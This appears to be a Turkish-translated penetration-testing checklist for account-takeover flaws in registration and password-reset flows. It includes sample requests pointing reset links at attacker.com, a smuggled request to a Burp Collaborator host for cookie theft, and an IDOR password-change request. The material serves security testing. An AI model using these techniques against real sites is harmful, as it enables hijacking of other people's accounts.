Registration & Takeover Vulnerabilities
Kayıt Ele Geçirme
Çift Kayıt
Mevcut bir kullanıcı adı kullanarak oluşturmayı deneyin
E-postayı değiştirerek kontrol edin:
büyük harf
+1@
e-postada bazı noktalar ekleyin
e-posta adında özel karakterler (%00, %09, %20)
E-postadan sonra siyah karakterler ekleyin:
test@test.com a
victim@gmail.com@attacker.com
victim@attacker.com@gmail.com
Kullanıcı Adı Sayımı
Bir kullanıcı adının uygulama içinde zaten kayıtlı olup olmadığını anlamaya çalışın.
Şifre Politikası
Bir kullanıcı oluştururken şifre politikasını kontrol edin (zayıf şifreler kullanıp kullanamayacağınızı kontrol edin). Bu durumda kimlik bilgilerini brute force ile denemeyi deneyebilirsiniz.
SQL Enjeksiyonu
Bu sayfayı kontrol edin kayıt formlarında hesap ele geçirme veya bilgi çıkarma girişiminde bulunmak için SQL Enjeksiyonları hakkında bilgi edinmek için.
Oauth Ele Geçirmeleri
OAuth to Account takeoverSAML Açıkları
SAML AttacksE-posta Değiştirme
Kayıtlı olduğunuzda e-postayı değiştirmeyi deneyin ve bu değişikliğin doğru bir şekilde doğrulanıp doğrulanmadığını veya rastgele e-postalara değiştirip değiştiremeyeceğinizi kontrol edin.
Daha Fazla Kontrol
tek kullanımlık e-postalar kullanıp kullanamayacağınızı kontrol edin
Uzun şifre (>200) DoS'ye yol açar
Hesap oluşturma üzerindeki hız sınırlarını kontrol edin
username@burp_collab.net kullanın ve callback'i analiz edin
Şifre Sıfırlama Ele Geçirme
Referrer Üzerinden Şifre Sıfırlama Token Sızıntısı
E-posta adresinize şifre sıfırlama talep edin
Şifre sıfırlama bağlantısına tıklayın
Şifreyi değiştirmeyin
Herhangi bir 3. parti web sitesine tıklayın (örneğin: Facebook, Twitter)
Burp Suite proxy'sinde isteği yakalayın
Referer başlığının şifre sıfırlama token'ını sızdırıp sızdırmadığını kontrol edin.
Şifre Sıfırlama Zehirleme
Burp Suite'te şifre sıfırlama isteğini yakalayın
Burp Suite'te aşağıdaki başlıkları ekleyin veya düzenleyin:
Host: attacker.com
,X-Forwarded-Host: attacker.com
Değiştirilmiş başlıkla isteği iletin
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
host başlığına dayalı bir şifre sıfırlama URL'si arayın:
https://attacker.com/reset-password.php?token=TOKEN
E-posta Parametresi Üzerinden Şifre Sıfırlama
IDOR on API Parameters
Saldırgan, kendi hesabıyla giriş yapmalı ve Şifreyi Değiştir özelliğine gitmelidir.
Burp Suite'i başlatın ve isteği yakalayın.
Tekrarlayıcı sekmesine gönderin ve parametreleri düzenleyin: Kullanıcı ID/e-posta
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Weak Password Reset Token
Şifre sıfırlama token'ı her seferinde rastgele üretilmeli ve benzersiz olmalıdır. Token'ın süresinin dolup dolmadığını veya her zaman aynı olup olmadığını belirlemeye çalışın, bazı durumlarda üretim algoritması zayıf olabilir ve tahmin edilebilir. Aşağıdaki değişkenler algoritma tarafından kullanılabilir.
Zaman damgası
Kullanıcı ID
Kullanıcının E-postası
Ad ve Soyad
Doğum Tarihi
Kriptografi
Sadece sayı
Küçük token dizisi (karakterler arasında [A-Z,a-z,0-9])
Token tekrar kullanımı
Token son kullanma tarihi
Leaking Password Reset Token
Belirli bir e-posta için API/UI kullanarak bir şifre sıfırlama isteği tetikleyin, örneğin: test@mail.com
Sunucu yanıtını inceleyin ve
resetToken
kontrol edin.Ardından token'ı şu URL'de kullanın:
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
Sistemde, kurbanın kullanıcı adıyla aynı olan bir kullanıcı adıyla kaydolun, ancak kullanıcı adının önüne ve/veya arkasına boşluklar ekleyin. örneğin:
"admin "
Kötü niyetli kullanıcı adınızla bir şifre sıfırlama talep edin.
E-postanıza gönderilen token'ı kullanarak kurbanın şifresini sıfırlayın.
Yeni şifreyle kurbanın hesabına bağlanın.
CTFd platformu bu saldırıya karşı savunmasızdı. Bakınız: CVE-2020-7245
Account Takeover Via Cross Site Scripting
Uygulama içinde veya çerezlerin ana alanla sınırlı olduğu bir alt alan adında bir XSS bulun:
*.domain.com
Mevcut oturum çerezini sızdırın.
Çerezi kullanarak kullanıcı olarak kimlik doğrulaması yapın.
Account Takeover Via HTTP Request Smuggling
1. smuggler kullanarak HTTP İstek Kaçırma türünü tespit edin (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Aşağıdaki verilerle POST / HTTP/1.1
'i geçersiz kılacak bir istek oluşturun:
GET http://something.burpcollaborator.net HTTP/1.1 X:
amacıyla kurbanları burpcollab'a yönlendirmek ve çerezlerini çalmak
3. Son istek aşağıdaki gibi görünebilir
Hackerone bu hatayı istismar eden raporlar * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666
CSRF ile Hesap Ele Geçirme
CSRF için bir payload oluşturun, örneğin: “Şifre değişikliği için otomatik gönderim yapan HTML formu”
Payload'u gönderin
JWT ile Hesap Ele Geçirme
JSON Web Token, bir kullanıcıyı kimlik doğrulamak için kullanılabilir.
JWT'yi başka bir Kullanıcı ID'si / E-posta ile düzenleyin
Zayıf JWT imzasını kontrol edin
Referanslar
Last updated